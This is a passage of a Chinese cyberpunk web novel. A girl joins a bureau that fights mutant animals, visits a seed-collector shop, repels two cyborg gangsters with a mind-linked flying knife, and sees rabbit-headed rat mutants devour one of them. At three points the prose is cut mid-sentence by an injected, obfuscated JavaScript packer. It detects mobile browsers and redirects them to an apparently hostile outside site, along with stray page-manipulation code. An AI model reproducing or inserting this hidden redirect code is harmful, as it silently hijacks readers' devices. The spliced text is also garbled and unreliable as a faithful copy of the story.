扫描仪被鲁鸢凶了一句,默不作声地继续扫描赵甫,红色亮点一闪一闪,像在抗议。 “不过......息盘这个入口你是怎么知道的?这个入口一般来说只有管理员进出。” “符律师告诉我的。” “是符律师啊,我猜也是。客户有需求时她总给人推荐息盘这个入口,真是的,和她说过多少次不要往外传了。”鲁鸢带着柏穗上了平梯,去往五楼办公室,赵甫则收到紧急通知,留在一楼查看新送来的伤员情况。 鲁鸢很有分寸地没问柏穗十七八岁的年纪为什么会用到律师。 平梯静静运作,柏穗能看到每层楼都有两三个和鲁鸢赵甫一样值夜班的工作人员——只有第三层例外,似乎没有人在那一层,大多数灯也是暗的。 “吸血守宫这种生物的存在真的合理吗?”有着黄色弧线的深绿色狭窄后背和奇异的三颗眼珠又浮现在柏穗眼前。 “吸血守宫啊,问大自然咯。听说以前人类社会不是现在这样,所以自然也有大变化,不是很正常吗?”到达五楼,鲁鸢将柏穗引到她的办公室。 管理局内部大多是棕红色的墙面,鲁鸢的办公室外墙却刷成了深红。坚硬的门上有一块屏幕,检测到有人经过便亮起,显示出几个白字:“一级管理员,鲁鸢”,和大门扫描仪播报的职称一样。 “管理员也分等级?赵甫也是一级?” 办公室门自动解锁,眨眼间变成一层淡淡的黄色光幕。鲁鸢抬脚迈入,光幕有一瞬闪成白色。 柏穗探出手指,接触到光幕时,光幕又变红了。 “进来吧,没事。”鲁鸢一挥手臂,光幕恢复正常的淡黄色,“管理局的所有职工都叫‘管理员’,在此基础上,除了两位局长,一共分为三个等级。 “一级,比如我和赵甫,就是负责现场处理B级及以上警告事件的管理员。但这之中也有不同,赵甫就偏向治疗,战力不如我。 “二级,就是后备管理员,负责辅助处理高等级警告事件和在地下市场等警告易发地巡逻。 “三级管理员则基本上都是文员。” 好简单的职称体系......柏穗猜测办公室墙壁颜色可能就和职称挂钩。 鲁鸢的办公室布置得很简洁,分为两个隔间,每个隔间都和柏穗整个家的面积差不多。 一个隔间摆着办公桌、文档柜、一张沙发和几把椅子。办公桌上没多少东西,显然鲁鸢不太喜欢坐在办公桌后面。 另一个隔间相当于休息室,单人床整洁得像刚被打理过。 忽然,两个房间的隔墙变成半透明,墙后出现一个黑影。 “管理员回来了,管理员回来了。我要离开了。”一个半人高的小机器人慢悠悠从墙后出来,它的上半身四四方方,下半身不是“双腿”,而是一个大轮子。 鲁鸢随手拿起办公桌上一张废纸,揉成团抛向它:“嘟岛,又躲在我办公室偷懒!” 嘟岛轮子灵活地转向地上的纸团:“检测到垃圾,清理中——” 它的双臂多节,外壳僵硬但行动起来柔软如章鱼须。它卷起纸团,再伸展胳膊时纸团就消失了:“嘻嘻,管理员再见。” “嘟岛?” “管理局的老机器人了,负责打扫和整理之类的杂活。按版本来说其实早该被淘汰掉的。”鲁鸢眼看着嘟岛通过了没动静的光幕向右拐远,才对柏穗解释说,“名字叫着‘督导’,却总被人发现偷懒,还要我们督促它。” 蛮可爱的嘛,比“062”的摊主机器人可爱,柏穗在心中拉踩,嘟岛至少没让自己头疼。 “话说回来,你是第一次遇到警告事件?真幸运呐。” “我偶尔才来市区一趟,郊区这种动物是不是少些?” “嗯——异变动物确实集中在市里。不过,第一次的话......你不累吗?” 柏穗确实累了,身体上熬夜奔波,精神上先是受到吸血守宫的刺激,刺激感消退后只剩满满的疲乏,很快就在管理局内鲁鸢的专属小床上睡着。 等柏穗睁开眼,却发现自己正坐在家里的沙发上。 “这是......郊区?我不是在管理局吗?”柏穗眼前忽然出现屏幕,上面是她的电子病历单。 “噢,原来我刚找出病历单啊。” 自穿越以来,柏穗就时不时头痛和咳血,本来准备去医院看病,但囊中羞涩一拖再拖,直到某天找到了隐藏在她手环中上锁的病历单。 密码被她试出来是“0923”,不是她的生日,印象中没什么特别的含义。 病历单上啰里八嗦写着“患者神经体系发达”“心肺功能衰竭”“疑似肿瘤”“难以判断具体病种”之类的话,总而言之就是“该患者没几个月好活了”。 柏穗仿佛早有预感,也不太意外,情绪像一根没有起伏的直线。 面前的电子病历单忽然下落,转换成轻飘飘的一张纸,油墨印刷的患者名字不是“柏穗”,而是“元松卓”。 元松卓......不是自己资助人的名字吗? 柏穗从有记忆起就没见过自己的家人,她在福利院长大,虽然乖巧听话,但一直不愿意被人领养。 她渴望“家庭”的温暖,但又害怕曾经抛弃过她的“家庭”。家庭对她而言只是一种二维的概念。 由于在学校成绩优异,柏穗每每被福利院当作典范来表扬和宣传,作为福利院名声的跳板。这倒无所谓,毕竟他们对她确实很包容。 当元松卓向福利院要求资助一个女孩时,柏穗自然而然成了同龄人中的首选。因此从上高中开始,元松卓就是柏穗的资助人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389589|184218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 她没见过元松卓,只是经常和她发短信联系。 “元姐姐,我这次只考了年级第二。” “没事的,小穗,你已经很棒了。” “等到高考后我能和你见面吗?我想当面感谢你。” 元松卓没立即回复,过了半小时她说:“好。” 柏穗高兴得又刷了一张数学卷子。 画面跳转,柏穗耳边传来她曾经想拼命记住的声音,声音若有似无,但她知道来自谁:“抱歉高考的时候我没能陪你,小穗你真的很厉害。” 柏穗一愣神,发现自己正抱着攒钱买的百合站在一张病床前,病床上躺着她心心念念想见到的资助人元松卓。 她看着元松卓凹下去的侧脸和一旁插着的呼吸机,不敢相信自己的资助人竟然生了如此重的病,还把余钱留出供她上学。 “小穗,我没几天了,银行卡里的钱足够你上完大学。你是好孩子,别哭呀。” 梦境结束前元松卓躺在病床上,床头百合映着她的脸,她虚弱地朝她笑:“你要好好活着呀,小穗。” 柏穗醒了,她用手掌抹去眼泪。 自从元松卓在她大一那年不幸离开人世,她的人生格言就变成了“只要还能看见这一天的太阳升起,就要有见证月亮落下的决心”。 活着也是活着,万一有生之年能得到五千万爽一把呢? “做噩梦了?”一个声音突兀地打断沉浸在情感中的柏穗,“第一次遇见警告事件做噩梦也正常。” 在宽大的办公桌前,鲁鸢双脚翘在桌上,背靠着椅子转悠。 “你第一次遇到警告事件的时候做噩梦了?”柏穗掀开被子,淡淡地说。 “我可没有!”鲁鸢把腿放下来,走到柏穗跟前,“小刀这种体外精神链接工具,你以前用过吗?” “没有。我以为这种东西还没生产出来。” “早几年间就生产出来了,只是没有大规模使用而已。它的生产和使用条件太严苛了。” 此话怎讲? “首先,市面上你能听说的、见到的失败品,都是没用对材料。” “其次,对使用者的条件要求才是没有大规模使用的重要原因。”鲁鸢用手指点点脑袋,“上市前,闻雾公司找了很多试验者测试使用效果,但是几乎没有人能成功链接设备。” “可能是设备自己的问题呢?” “不,有一个人成功链接了。但是使用途中,由于接受不了设备对他神经的压迫,他沦为了痴呆,然而设备仍然和他精神链接在一起。为了防止他随意伤人,公司给他家人一大笔赔偿金,把他秘密关押在没人知道的地方。” “这么可怕?”柏穗手托起小刀,想起几个小时前用它“大战一场”后,还没擦拭刀身。打开小刀一看,上面干干净净,仍然静静反射着灯光,一丝划痕都没有。 “所以现在像我这种安装能和神经直接相连的义体才是主流,相较而言对于大脑压迫很浅。”鲁鸢活动手指,炫技般点燃几小簇火焰。 “可是我没有感觉啊。”轻微的热浪扑面而来,柏穗偏过头想躲,鲁鸢却熄灭火焰,捧着柏穗的脑袋左看右看,手掌还有火的余温:“一点没有?不会已经变傻了吧?” “相反,我感觉脑子里很舒服很......‘流畅’?” 鲁鸢用一副很奇怪的神情看着柏穗:“你要不要来我们局办事?” “啊?”柏穗露出茫然的表情。 “没听懂?诚邀你入职,行了吧。”鲁鸢在“诚邀”两个字上加重语气, “为什么?” “日薪七千。” “我加入。” 5. 铃兰庇护所 “不过你要先实习几周,辅助管理员进行任务。在这期间薪水就按任务次结。一次任务一万,怎么样?” 听着鲁鸢安排,柏穗突然意识到,所谓“任务”是处理类似“吸血守宫”那样的警告事件,而那才是B级警告,B以上还有A,还有S…… “呃……我要是在任务中受伤了怎么办?” “受伤?你会被送到一楼接受治疗。我们有全零市普通人能接触到的最精良的治疗舱。这你放心,我们一定会尽力的。” “尽力”?这词不是很妙啊。 不过高风险高回报,柏穗能理解,况且作为一名“辅助”,想必任务中也不会要求她太多。 回想穿过吸血守宫群的经历,柏穗又觉得似乎没有那么难,当时她也可以算是提前作为辅助参与任务了,虽然仅仅是做到了自保。 如果上升到处理整桩事件,则意味着要在自保的前提下将变异动物清理干净。 不过话说回来,她也只是“辅助”而已。 柏穗原本决定去“062”供应点买菜,但是在鲁鸢的小床上睡了两小时后改变了主意,打算先前往拜访于静岳口中的“种子收藏家”。 鲁鸢递给她一袋营养剂,“给,早餐,省得你买。” “你们局的人就吃这个啊。”柏穗接过黄色袋子,包装上没写生产商,可能是独家供应给管理局的。 市面上都买不到的东西你们日常吃,真是恭喜啊。 “什么你们局,是‘我们局’。”鲁鸢耳尖微红,“还没到发饭时间而已!你不是要走吗,先吃这个垫垫。” “我只是实习生。”柏穗耸耸肩,“你不饿不困吗?” 鲁鸢回道:“上夜班当然‘晚饭’吃得晚喽.....不过对我们来说应该是‘早饭’?” 柏穗拧开盖子,捏着黄袋往嘴里挤。营养剂口感像粘稠的果冻,吃起来有淡淡的香味儿,不甜也不咸。 鲁鸢看着柏穗品尝营养剂,柏穗仅仅睡了两个小时但精神很不错的样子,说:“你很适合上夜班嘛。” 柏穗不想过把晚餐当早餐吃,把早餐当晚餐吃的日子,狠狠咽下营养剂,解释道:“昨晚来之前提前睡了几个小时。” 柏穗这个年纪还在长身体,早睡早起的重要性她在前世已经体会到了,她这辈子还想长高点,比如和于静岳差不多高。 实际上,柏穗昨天想到凌晨要来废弃地铁站就兴奋地睡不着,写作业期间还时不时看看地图,刷刷道鸣。 道鸣上当然没有与地铁站是地下市场入口这回事相关的信息,柏穗只是大致查明了息盘地铁站的来头,不过它既没有特别的背景,也没有独特的故事,普普通通像是路边随处可见的铁块儿。 鲁鸢存疑地点头:“是吗?” 话说完,鲁鸢转头看向办公室门,柏穗也跟着朝门口方向看去。只见门再次被黄色光幕取而代之,赵甫站在门口,光幕在他穿过的刹那从中心褪成白色,这种状态未多停留片刻就又恢复成原样。 赵甫朝两人打了个招呼,面朝柏穗说:“听于姐说你要去海冲路?” 零市市区整体呈一个正三角形,海冲路比管理局更远离市中心。零市过去在海里,海冲路是地势最低点。 “有这样一种传言,说海冲路是零市的地势最低点,阴气最重。”赵甫阴森森地说,柏穗看着赵甫两个快成半圆的黑眼圈,觉得还是忙了整个夜班的赵甫阴气最重。 “你们还信这个。”柏穗吃完一包营养剂,小小一包竟然让她有八分饱,她把包装卷起来在鲁鸢的示意下放在她桌上。 “信这个的人可不少。”赵甫似乎意有所指,但终究没详细多说。 柏穗在海冲路附近下了飞铁,没察觉到这片区域有什么阴气阳气,但地势低是真的,海冲路上的楼房的三四层才和别的地方的平地海拔相近。柏穗要找的五层,就差不多相当于管理局二楼高度。 829号......柏穗乘着平梯到达三个臂展宽的店铺门口。 柏穗照着店铺门头念出声:“净土?” “净土”两个大字深深地刻在一块木板上,笔画粗旷有力,木板外套着一层防腐蚀的透明材料。这就是海冲路829号店铺的招牌。 店面门口封闭,看不到门缝,只留了一个人头大小的窗口。 然而窗口也关着。 柏穗扫了一圈,除了窗口旁边贴着一张A2海报,店面外没有任何灯光和装饰物。 “到了晚上会被藏在霓虹灯光的阴影里看不到吧。”柏穗心想。 她上前用指关节敲敲窗口:“有人在吗?” 等了几秒,无人应答,只有身后平梯运行的“嗡嗡”声一直响着。 柏穗指关节再次移到窗口上,还没敲,店铺里面传来东西打翻的声音,接着是脚步声“咚咚咚”跑来。 在柏穗的期待中,窗口——还是没打开,但她终于听见一道清脆的女声:“来参观种子收藏的吗?10彗钞一人。” “我想买种子” “来参观种子收藏的吗?10彗钞一人。” “我说我想……” “来参观种子收藏的吗?10彗钞一人。” “……怎么付?” “和旁边海报上的‘钩吻’种子图片碰一下就好了哈。” 钩吻种子? 柏穗扭过头仔细看,海报用的最普通的纸质,整体褪色严重,即便海报标题用了夸张的字号,柏穗仍然一番辨认后才看出是“高价收钩吻种子”这几个字,下附一张棕黑色种子的照片。 她预感不妙,种子收藏家不会还没收到钩吻种子吧。 也罢,来都来了,还是问一下。就算是最差的情况,说不定也能多点线索。 而不付门票钱,店主看上去不会回答任何问题。 “十彗钞到账。欢迎光临。” 伴随收款播报,这回是一阵钥匙串互相碰撞发出的声响传来,接着“咔嗒”一声,钥匙扭动,门开了。 一个扎着黑色麻花辫的小女孩说道:“请进!” 她的眉毛浓密,眼睛清亮,长着一张鹅蛋脸,年纪只有十四五岁左右,柏穗原本以为于静岳口中的“种子收藏家”至少也该四五十岁了。 比起店主的年龄,一家市区店铺的大门还在使用常见金属做成的钥匙和门锁更让柏穗惊讶。 “你们店还在用钥匙?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389590|184218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “别小瞧钥匙和锁,安全性比智能门高多了。我们店就从来没被盗过。”店主一甩辫子,转身将柏穗领进门。 是没有小偷感兴趣吧,柏穗跟在店主身后,没把这句话说出口。 店内光线良好,面积不大,但摆着四排展览柜,连墙上都挂着垂到眼前装着种子的透明圆筒。 展览柜内或筒里,每个种子的周围都用冷光照着,像保管在柜台里的钻石,在小托台上缓缓旋转。 麻花辫女孩把拳头放在嘴前,故意咳嗽几声,装作老成的样子:“咳咳,自我介绍一下,我叫柯碟子,现任“净土”的店主。” “我的名字由来是——” "苦碟子。"柏穗的目光移向对面的墙壁,历任店主的姓名以及“净土”的历史用毛笔写在上面,洋洋洒洒布满了半面墙。 柯碟子的名字写在最左边,右边是“柯歆”,上一任店主,也许是柯碟子的妈妈。 看到店主名字的瞬间,柏穗脑海里就浮现出“苦碟子”三个字。 “这位客人对于植物还是有一定了解嘛。”柯碟子抿着嘴笑,似乎对于客人柏穗的植物常识很满意。 “净土”的历史从墙面最右端开始书写,开头一句就是“净土是一家百年老店”,中间讲述了净土如何在时代变更中生存,进入彗安时代后,如何守住这个环境破碎时代的最后一片绿色光景。 柏穗一目十行扫过,结尾是一句“净土作为一家百年老店,仍会坚守自己的初心!” 干脆店名也加上“百年老店”好了。种子收藏参观这么挣钱吗?能开百年之久?这家店难不成有什么隐秘的商业行为在运作? 可是看店主年纪不大却古板守旧的样子,实在不像是有什么背后产业。 墙的最左边是一扇窗户,和店面的那个小窗口相对,清早的阳光照进来,一切显得静谧美好。 “这就是你们这所有的种子了吗?”柏穗仔细观察一个展示柜内的种子,圆润油亮,像是刚收集来的一样充满生机。 “当然不是,防止种子在柜台里太闷,我们会定期更换一批种子展览。” 柯碟子走到墙角一个高立架旁:“这边有我们所有现存种子的实拍册,你可以过来翻看。” 实拍册手掌大小,每页介绍不同的种子特点,比柏穗用过的最厚的专业书还要更甚一层。 柏穗翻了几页,生出了几分兴趣,熟悉的草本不少,但是大多只认识它的花叶根茎,倒是很少关注种子的模样。 这时柯碟子问道:“你刚刚在门口说,你想买种子?” “嗯,钩吻的种子。”柏穗抬起头,看着柯碟子回答,观察她的反应。 柯碟子立马变了脸色,“钩吻?你是铃兰庇护所的人?” “当然不是。”柏穗有点好奇,铃兰庇护所,一家专门种植农作物的企业,也和她在找同一样东西,甚至是毒草的种子? “你要钩吻种子做什么?”柯碟子走上前“啪”地一声合上厚厚的实拍册,摆出一副柏穗不说明白就不允许她继续参观的架势,柏穗惊异于柜台面板竟然没有晃动。 那铃兰庇护所要钩吻种子做什么?柏穗开口前在想。 6. 是兔子是鼠 柏穗张了张嘴,开口说:“如果我说是继承需要……” 耳朵捕捉到“继承”这两个字,柯碟子的眼睛亮了亮。 柏穗想得没错,柯碟子出生在极其看重历史和传承的家庭里,对于传承继承之类的事肯定有所偏向。 “是这样,我家人给我留了半亩田......”柏穗继续补充,告诉她只有种出钩吻自己才能继承财产。 听到“田”字,柯碟子更是来劲,她用胳膊肘戳戳柏穗:“你家里人很懂嘛。” 柯碟子抬头看向墙壁,她手指向“柯碟子”右边的名字“柯歆”:“我妈妈为了不继承‘净土’逃走了,我也不知道她去了哪里。从一开始她就不愿意继承店铺。” “既然如此......” 柏穗静等着柯碟子的下文,背后却传来猛烈的敲击声。 “邦邦邦!” “糟了,门没关!”柯碟子脸色大变,皱着眉头望向门口。 “哟,这破店终于开张了?”店门缓缓移动,驼背的年轻男子神情轻蔑地叫嚷着走进店铺,他后面跟着一个颧骨突出的光头男,同样是来者不善。 柏穗眼见着两个混混般的人物推门进来,防备地后退半步。 “他们是?” “来要保护费的。”柯碟子动作麻利地把实拍册收起来,她对那两个人说,“你们没交门票钱,不许进来!” 柏穗:? 都这时候了就别想着门票了! “这不是店主吗?小小年纪不上学在这开店。这附近可是有很多其它帮派的人哦,交点保护费,绝对不会有人来打扰你的店铺。” 光头男穿着个背心,一只胳膊明显比另一只粗壮,他弯曲那只胳膊的时候有些不自然。 柏穗再观察驼背男,他除了背驼得厉害,倒没有什么与常人不同之处。 所有旋转托台上的种子忽然翻转隐藏到托台之下,柯碟子两手往下沉,随即展览柜和透明圆筒都缩回地面或墙壁。 一瞬间的事,整个店里顿时空落落,柯碟子和柏穗与那两名不速之客之间变得没有任何遮挡。 “看来是不交咯?” “以前青郭帮在这里的时候可从来没让交过保护费。”柯碟子愤愤地讲。 两人似乎听到了天大的笑话:“哈哈哈哈!青郭帮那群废物?” “现在这一片是我们西诺帮的地盘。我们说了算!” 柯碟子:“哼,什么保护费,明明是恐吓费!” “你给不给?” “没钱,不给!” 柏穗瞪大眼睛看着柯碟子,“理直气壮”成这样,难道店里有什么秘密武器不成? “看来还是得吃点苦头啊。”光头男活动胳膊,驼背男依旧驼背,两人朝柏穗她们逼近,在顶光的照耀下颇有反派角色的气势。 柏穗催促道:“快掏出你的秘密武器!” “什么秘密武器?我奶奶说,不能屈服于这样的坏人!正义必将战胜邪恶!”柯碟子怒视对面两人,义愤填膺地讲。 柏穗想,早知道还是去买菜了。 她抬手握紧腰间的小刀。 驼背男立刻注意到她的动作:“呵,小女生的防身工具吗?真以为这种东西能对付得了我们?” 柏穗不语,将小刀展开,手环自动提示“已和‘小刀’连接”。再次感受到水流过脑般的清爽,她控制小刀飞速朝光头男划去。 “什么?”光头男还没看清眼前一闪而过的东西,只看到驼背男已经迅速移动到他面前,一脸诧异地正对着他,小刀击打到他近三十度角弯曲的后背上,发出浑浊的金属碰撞声。 原来驼背男改造了后背,他负责保护,光头男改装手臂则负责攻击。 这两个人的组合,如果说驼背男是盾,那光头男就是矛。 “什么东西?”光头男抬起手臂,越过转过头的驼背男,两人都看到了悬浮在空中的小刀。 “你怎么会有体外链接的设备!不不不......你怎么能使用......” 柏穗才懒得搭理他们,她没让小刀在原处多待一秒。驼背男反应明显比光头男快多了,他立刻望向后者的脖子喊道:“哎,你别动!” 光头男呆在原地,脖颈僵硬,下巴微微仰着,他的眼睛拼命往下方瞟,刚刚还在驼背男后背的小刀此刻停歇在他的脖子中央。他试图倾斜上身偷偷后移,但是小刀像黏在他身上寸步不离。 “怎么不加强一下脖子?”柏穗嘴角扬起,稳稳控制着小刀,多近半毫米,光头男的脖子就得流血。 柯碟子哈哈大笑:“我说的吧!你们会得到惩罚的!” 柏穗无奈耸眉。 他们是两名轻微改造过的赛博格。看起来仅仅是力量上有所增强,并没有什么鲁鸢那样可以喷火的技能。 据柏穗所知,目前社会上改造赛博格并不是主流,非必要的武装改造需要证件资格,除了像管理局那些特殊性质的群体,其余基本都是政府不认可的非法改造。 他们这种帮派里有赛博格估计不算稀奇,但许可证件大概是没有的。 柏穗站在门口目送他们离开,那两人嘴里还咕哝着“算你们走运”之类的话。 “你这有万能充电器吗?借我一用。”柏穗回头对柯碟子说。只要是市面上的电器,无论大小,无论生产商,九成九都能和闻雾公司生产的万能充电器完美配对。 闻雾公司,同样也是鲁鸢口中所说试验体外链接仪器时,不慎让一个试验者被压迫到神经沦为三岁智商的那家公司。 柏穗边揉太阳穴,边摩挲着小刀。小刀本就几乎没电,刚刚原地不动维持在半空,柏穗看似轻松,实则脑神经隐隐作痛。 幸好没当场变成傻子,柏穗暗自庆幸。 一位穿着浅绿色棉长裙的女生乘坐平梯从店前经过,柏穗多看了她两眼。她眼神迷茫,好像不知道脚下的方向,只是盲目地跟随平梯运行的方向前进。 此时不远处,那两个混混没走几步便停了下来,柏穗透过他们并排的身体缝隙望去,似乎是几只大白猫挡住了去路。 柏穗轻笑一声,两个女孩都不怕,怕几只猫? 等等,猫? 她定睛一看,那些生物模样有点奇怪,但被两人挡住,只能看到部分身体。不像猫,像是兔子。 俩混混终于动了,然而不是越过猫往前走,而是转身拼尽全力朝柏穗跑来。 “啊啊啊啊!”伴随他们的惊呼声,柏穗看清他们面容惊恐,仿佛看到了什么不该看到的东西。 她同时也看清楚了,那几只不是猫,而是一种奇异的生物,身体是兔子,头部是老鼠,通体雪白。 巴掌大的老鼠脸上,老鼠的尖嘴嗫嚅着,对称的几根长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389591|184218||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 胡须抽动着,两只红眼珠四处乱看,让柏穗想到趴在自己腿上的那只吸血守宫。 它们没动,像是在观察环境,观察逃跑的两个人类值不值得去追赶。 它们的答案是值得。 一只兔鼠——柏穗暂且叫它这个名字——用它两只藏在白毛下健壮的后腿猛地发力弹跳,一下跳出十米远,几乎落到刚跑出十几米的两个混混身后。 狂奔的光头男刚回头看兔鼠的动静,就发现其中一只已经到了身后,再抬头又看到看戏似的柏穗。于是他在惊恐中怒了。 “老子被小姑娘欺负就算了,还能被一个兔......老鼠欺负了?”他停下脚步,上前扬起腿要给兔鼠来一脚飞天踢,但兔鼠可不是吃素的,它吃人肉。 那只兔鼠轻轻一跳,蹦到气急败坏的混混头上,露出它又长又粗的门牙,张嘴就咬光头男那完美的可食用后脑勺。 兔鼠下嘴动作极快,光头男挥舞的胳膊还没来得及碰到它,后面就被咬出一个大窟窿。 他发出一声持续的惨叫,兔鼠则“咯吱咯吱”不知道是在嚼肉还是在磨牙,嘴边的白毛也被染成了鲜红色。 “敢咬老子!”光头男后仰着头,两只手抓住兔鼠的身体,试图把它摔走。可是兔鼠主动脱离了原位置,踩着他的脸蹦到了地上。光头男被它的力道弄得没站稳,一下摔倒在地。 “你没事儿吧!”驼背男后知后觉发现同伴没跟上来,回头只看到光头男坐在地上,后脑一个血淋淋的洞。 他也算讲义气,见兔鼠又回到群体中,于是返回来想扶光头男起身,还顺便安慰道:“公司有治疗仪,你这不算啥,都能治。” 光头男先前光顾着自己哀嚎,也没听清楚驼背男到底说了啥,张大的嘴巴忽然顿住:“治疗?你给我上药了?我咋不疼了?” “咋可能不疼?还在流血呢。我哪儿有药?公司有,回公司去。” 驼背男也许对着他的正脸没注意,柏穗可注意到了,他刚一接触龇牙咧嘴的光头男的时候,光头男后脑伤口周围就已经肿胀起脓,呈现油腻的浓黄色。 在驼背男解释的当口,不止伤口旁边,光头男整个后脑勺都已经遍布大大小小的肿胀,身上的鼓起还在不断增加。 驼背男扶着他的胳膊,手感有些不对,低头一看,光头男的手臂上遍布这癞蛤蟆一样的疙瘩。他一下撒开手。 “真不疼。真的不疼啊!” 没了驼背男的搀扶,他腿一软再次倒在地上,仰头看着同伴。“真的不疼了,你怎么不信我?” “你......”驼背男的嗓子像被卡住,没法发出声音。他看着光头男浮肿的脸,额头、颧骨、下巴,处处有浓黄色的肿块在皮肤下涌动。脑袋伤更是一片血橙色,头皮被肿块撑得看起来只有薄薄一层,青色血管如同小蛇随着起起伏伏的脓肿游走。 “你在看什么呢?”拿了万能充电器的柯碟子探头,顺着柏穗的眼神看去——一个能勉强看出人形的肉块躺在地上,身上耷拉着部分衣料,手臂的机械装置被肉块裹挟吞噬,几步远处驼背男呆愣在原地。 肉块还在不断扩大和膨胀,红黄相间的躯体像被吹起的泡泡,发出“咕噜咕噜”的水开声和泡泡膨大声。 十几米外,兔鼠们兴奋地“嘶嘶”“嘶嘶”,嵌在鼠头上的红眼珠闪着光芒。 啪嗒,泡泡破了。 7. 只是试验品 四围一片诡异的安静。 兔鼠们也停下动作,纷纷伸长雪白的脖子,探头探脑地盯着破碎一地的肉块。 地上还有一根粗壮的金属手臂,上面的人造皮早已被破坏,截面密布着电线,像是某个人瘫软的神经。 驼背男喉咙里卡痰似的发出“嗬嗬”声,他说不出话也喊不出来,他想吐但是身上已经像吐过一样到处是散发着浓臭味儿的血块污秽。 地上看不出光头男原型的肉块,让柏穗联想到在息盘地铁站被吸血守宫围攻扑倒的男人。尽管害怕,她甚至觉得自己接受良好,并没有身处梦中的不真实感。 惧怕死亡会让人想将现实看作一场梦,但近在眼前的危险只会让柏穗快速从安逸状态中抽离。 柏穗在泡泡破灭之际及时捂住了柯碟子的眼睛,她从柯碟子手里取过圆形的万能充电器和小刀放在一起。手环提示“小刀充电中,电量0%。” “电量1%。” “电量2%。” 电量每秒都在增长,但柏穗更希望它一秒就增长到100%,因为兔鼠显然已经不满足于只是远远看着它们散落一地的丰厚成果,正蹦蹦跳跳朝这里前进。 如果忽略它们疯狂的眼神和一跃几米的速度,它们还是挺可爱的,像几只巨大的雪球在地上弹跳。 “电量3%。” 兔鼠接近了驼背男。 “电量4%。” 柏穗把柯碟子拉到身后,猛地关上门。 “电量5%。” 外面传来驼背男凄厉的惨叫,柯碟子的身体随之一颤。 “那是什么?”柯碟子问。 “电量6%。” 柏穗说:“我不知道。” 兔鼠群的声音渐渐变大,像夏天树上的蝉一样吵闹,近乎人类的尖叫声。柏穗把柯碟子搂在怀里,紧紧捂住她的耳朵。 “电量7%。” “电量8%。” ...... 柏穗看着闭紧双眼的柯碟子,在门外的嘈杂声中思绪乱飘。 兔鼠的速度太快了,她没法保证小刀的速度能快过兔鼠。如果说吸血守宫是蚂蚁速度,那兔鼠它们就是蚂蚱速度。也许小刀还没接近兔鼠,它先跳到自己头上嚼脑袋肉了。 她们只能选择躲避,在外面与兔鼠赛跑和找死的区别可能只是慢几秒死。 可是假如兔鼠破门闯入该怎么办?她该怎么自保?怎么保护柯碟子?为什么变异生物会在市里突然出现?光头男是它们攻击的第一个人? 她希望能思考出一条清晰的救命之路,但是思来想去脑中也只是空白。 能流畅使用“小刀”这种精神链接工具似乎让她有些得意忘形,以为自己多么厉害,赶走驼背男和光头男两人更是加深了她这种不自知的自得。 然而面对兔鼠,她只是一个连自保都困难的无力之人。 店铺外的声音渐渐停息,柏穗想,也许兔鼠吃饱了。 如果兔鼠决定对店铺发动攻击,她就把海报旁边的小窗口开条缝,控制小刀飞出去尝试杀死兔鼠。 可是视线受限的情况会不会影响精神链接呢?要是在解决兔鼠之前它们先闯进来了呢? 她不知道,但山穷水尽时必须得试试。 就在这时,柏穗听见门外一句试探:“这里还有人吗?” 人声?不是那个驼背男的声音,很明显是女声。 柏穗没吭声。柯碟子抬头,脸上浮现惊喜之色:“有,有人!” “这里的变异生物已经被解决了。快出来,我带你们转移到安全的地方。”女人的声音没什么起伏,听上去也并不焦急,嘴上说着“快出来”,语气却像是一百年后再出来也不要紧。 柏穗心中有个猜测,她让柯碟子待在门后,暂时别开门,自己到一旁将小窗口的遮挡往上推开一小条缝隙。 一股异味飘进鼻子。 她凑得很近才勉强看清外面的情形。首先是一只兔鼠的背影,她心头一跳。然而兔鼠仅仅是呆立不动,旁边几只也是同样如此,视野有限,看不到它们此刻是什么表情。 驼背男没死,抱头蹲在一边缩成西瓜虫。柏穗的头往右移动,视线移到左边的店铺门前,果不其然看到了熟悉的宝蓝色棒球服。 柏穗顿时松了口气。 她抹了抹眼角不存在的眼泪,心想,这大概就是统一工作服的意义吧。 柯碟子还在门后抱着胳膊看她:“为什么不开门?” 柏穗回答:“她在外面能安然无恙,只能说明她很厉害,但不能说明她很善良。我要确认一下。” “看一眼就能确认了?”柯碟子把手放在门把上。 柏穗顿了一秒,耸耸肩:“如果考虑最坏的情况,确实不能完全保证。” 柯碟子随即拧开门,和一个穿着宝蓝色棒球服的女人撞上眼神。她留着齐下巴的短发,有着一双不起波澜的眼睛,棒球服上有一个显眼的盾牌形图案。 她就这样罚站似的面对着门,柯碟子被她吓一跳。 “抱歉,我应该让开点。”女人名叫舒思,她往旁边走了两步,让出位置。 